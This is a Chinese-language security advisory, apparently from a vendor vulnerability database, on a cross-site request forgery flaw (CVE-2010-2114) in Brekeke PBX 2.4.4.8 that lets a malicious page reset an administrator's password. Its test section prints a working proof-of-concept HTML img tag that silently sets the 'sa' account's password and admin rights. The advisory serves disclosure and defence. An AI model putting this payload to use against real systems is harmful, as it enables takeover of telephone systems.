安全研究

安全漏洞
Brekeke PBX pbx/gate页面跨站请求伪造漏洞

发布日期：2010-05-26
更新日期：2010-05-28

受影响系统：
Brekeke Software Brekeke PBX 2.4.4.8
描述：
BUGTRAQ  ID: 40407
CVE ID: CVE-2010-2114

Brekeke PBX是一款集语音、数据和图像于一体的多媒体业务终端。

Brekeke PBX没有执行有效性检查便允许管理用户通过HTTP请求执行某些操作，用户登录后访问了恶意网页便可能导致非授权修改管理口令。

<*来源：John Leitch
  
  链接：http://secunia.com/advisories/39952/
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<body>

    <img src="http://localhost:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&user=sa&disabled=false&name=&language=en&password=new_password&password2=new_password&phoneforward=&ringertime=60&noanswerforward=vmsa&noanswerforward.voicemail=on&busyforward=vmsa&busyforward.voicemail=on&dtmfcommand=true&defaultpickup=&index=1&greetingtype=3&recordlength=&messageforward=&email=&emailnotification=true&emailattachment=true&admin=true&userplugin=user&personalivr=&rtprelay=default&payload=&useremotepayload=default&recording=false&canjoin=true&allowjoin=true&aotomonitor=&maxsessioncount=-1&resourcemap=&operation=store" />

</body>
</html>

建议：
厂商补丁：

Brekeke Software
----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.brekeke.com/pbx/

浏览次数：2263
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客